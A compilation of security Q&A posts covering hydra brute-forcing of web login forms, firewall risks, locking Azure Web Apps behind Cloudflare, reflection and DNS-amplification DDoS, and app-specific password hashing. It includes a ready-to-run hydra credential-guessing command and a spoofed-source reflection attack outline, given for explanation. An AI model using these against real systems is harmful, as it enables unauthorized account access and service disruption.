The first is accomplished with tokens like ^USER^ and ^PASS^ in the URL where they are to be replaced by the usernames and passwords under test.  The second is done by hydra by string matching against the returned page.  You can either test for a failure condition, such as "Bad password", or a success condition, such as "logged in".

Here's an example:

hydra 127.0.0.1 http-form-get '/test/login.php?username=^USER^&password=^PASS^:Bad password'

You can also test for a cookie being set with C=cookie_name or an HTTP header with H=header_name in place of "Bad password" for the test condition for a successful login.

In case the login form uses POST, rather than GET, (as many do) you should use the http-form-post "protocol".  You'll also need to use : to separate the URL and the POST parameters, rather than the ? in a query string.  There's also https variations, which are (unsurprisingly) prefixed with https-, rather than http-.


How can someone access my computer ("hack me") when my firewall is off? Why do people go crazy when the firewall if off? Most sites on the internet say its very dangerous to turn off your firewall and I want to understand why. For example Microsoft says this:

  You should always run Windows Firewall even if you have another
  firewall turned on. Turning off Windows Firewall might make your
  device (and your network, if you have one) more vulnerable to
  unauthorized access.

Now I want to understand how does it make my infrastructure vulnerable. If you have malware already on your computer and then you turn off the firewall then yes I understand that then the malware will be able to send and receive Command-and-Control traffic.

But if a computer with a fresh installation of Windows has its firewall off then how would you hack it? You will be able to send all the packets you want to that computer but that computer will not know what to do with those packets right?

It will be great if someone gives an example/describe of how to hack a computer that has no firewall and has a fresh installation of Windows (remote desktop connection is disabled and a username and password is needed to login into that computer).

The topic of firewall protections can be big if we go into details. So I'll limit myself to one idea and one example.

Possible risk with a fresh Windows install: Security weaknesses (vulnerabilities) due to software defects or incorrect / insufficient configuration.

Example of what someone might do if it's without a firewall: Probe for those weaknesses without you noticing.

One of the first thing nearly all firewalls do by default is to limit incoming connections. i.e., someone trying to probe / connect to your computer would not be allowed to, without your permission. This greatly reduces exposure of any security weaknesses. Any complex software such as Windows with mulitple other software running on top, is likely to have many weaknesses unknown to general public - so it is a big risk.

If you connect through a home or an office LAN, you are relatively less exposed since the Internet gateway/router you use will most likely limit incoming connections that you don't specifically configure (effectively acting like a limited network firewall). However, inexpensive routers themselves have security problems that have in the past, allowed (and probably still allow) attackers to use the routers to discover and attack computers on the LAN - so having a host firewall (such as the Windows firewall) is an important defense to avoid this.


How do I configure Azure Web Apps so that the only access is via CloudFlare? I have a Web Apps (Linux) application on Azure, and I added a custom domain which I have protected with CloudFlare.

I added Azure Security Center to my subscription.

At the moment one can access the application either

directly via example.azurewebsites.net or
via www.example.com which is protected by CloudFlare

How do I configure the Azure portal so that the only access to my web application is via CloudFlare?

One idea I had is to add an Azure Firewall, and set it to white list the CloudFlare IP Addresses, but I wondered if there is an easier way (and anyway I am not sure how to configure it)

One idea I had is to add an Azure Firewall, and set it to white list the CloudFlare IP Addresses, but I wondered if there is an easier way (and anyway I am not sure how to configure it)

I'm afraid this is the only option: otherwise anyone could send a direct request to  example.azurewebsites.net using your domain in the HTTP headers:

GET / HTTP/1.1
Host: www.example.com


Parabolic Denial Of Service -- Would it work? Would this DoS attack be effective:

Attacker determines target (10.0.0.1)
Attacker sends ack packets to a buch of web servers with a src addr of 10.0.0.1
Servers reply to 10.0.0.1 with syn packets

Is the target effectively dosed or have we added an arbitrary steps to the equation?

Yes, it works. it's often called a reflection DDoS attack. Variants include sending DNS queries off with the (spoofed) address of the target in them. That's a DNS reflection or DNS amplification attack. Vern Paxson wrote a paper about reflection attacks and possible defenses in 2001.

UPDATE

Cloudflare blog entry about DNS Amplification DDoS, and follow-up with details about how Cloudflare deals with such things..


How to implement application-specific passwords using strong hashes? I am implementing a service where application-specific passwords seem a good choice to improve security.  A question on why and when they might make sense has already been discussed here Google Account: implications of using application-specific passwords

Now, I am interested in the how, especially with strong hashes like bcrypt or scrypt.

I assume that Google, iCloud & Co store hashes of the app-specific passwords.
Given that all the app-specific passwords map to the same username, does that mean that one has to compare the hash of the given password to all known hashes of the given username?
If so, and say I use an encryption algorithm like bcrypt or scrypt with maxtime somewhere between 100 to 200 milliseconds, wouldn't I have to parallelise the hashing & comparison to minimise worst-case waiting time?
Is there a good reason why they chose not to use application-specific usernames? e.g. say, I have an account "foo" and ":" is not allowed in a user name, why not use "foo:bar" as the bar-app-specific username of the "foo" account? That way, the relation username <-> password is 1:1 again. Is that because users should not have to remember multiple names?

Many thanks for your thoughts.

I didn't implement such a system.
But I can still answer your questions (I hope).

A different password for each application is a nice feature to enhance security, so that a broken password won't immediatly give you access to all apps.

The problem with logging in with a different password for each application is the amount of passwords. Google has like 10 apps, so you'd have to remember 10 different (good) passwords which is pretty unlikely for a standard user, who'd just use one and the same for all services (may be even a bad one). Without a password manager this burden is impossible to overcome and people will start complaining because they say: "Hey, I logged in once, isn't that enough!?"

Technically there's (nearly) no difference in speed between multiple-passwords and a single password. If I'd implement such a system I'd go with sort of the second approach you mentioned, so tag a username with the app he's using (maybe not in the string as this may cause some mean attacks, but with some associated data). So the user logs in, provides his password, you open your app's password database, look the name up, do the password-hash and compare the computed tag with the stored tag. If they match, you grant access, if not you refuse access.

If you'd be storing a bunch of tags with the same username (which would be stupid as it would allow the user to use multiple passwords for the same account and hence limiting strength to the strength of the worst password), you'd simply calculate the tag once (assuming you used the same salt) and look for matches. If you were clever, you've used different salts and hence introduce a severe performance penalty. (worst case log in time grows linear with number of accounts), unless you can parallelize, which might slow-down log-in of other users, as they have to wait for the cpu-time they need for log-in.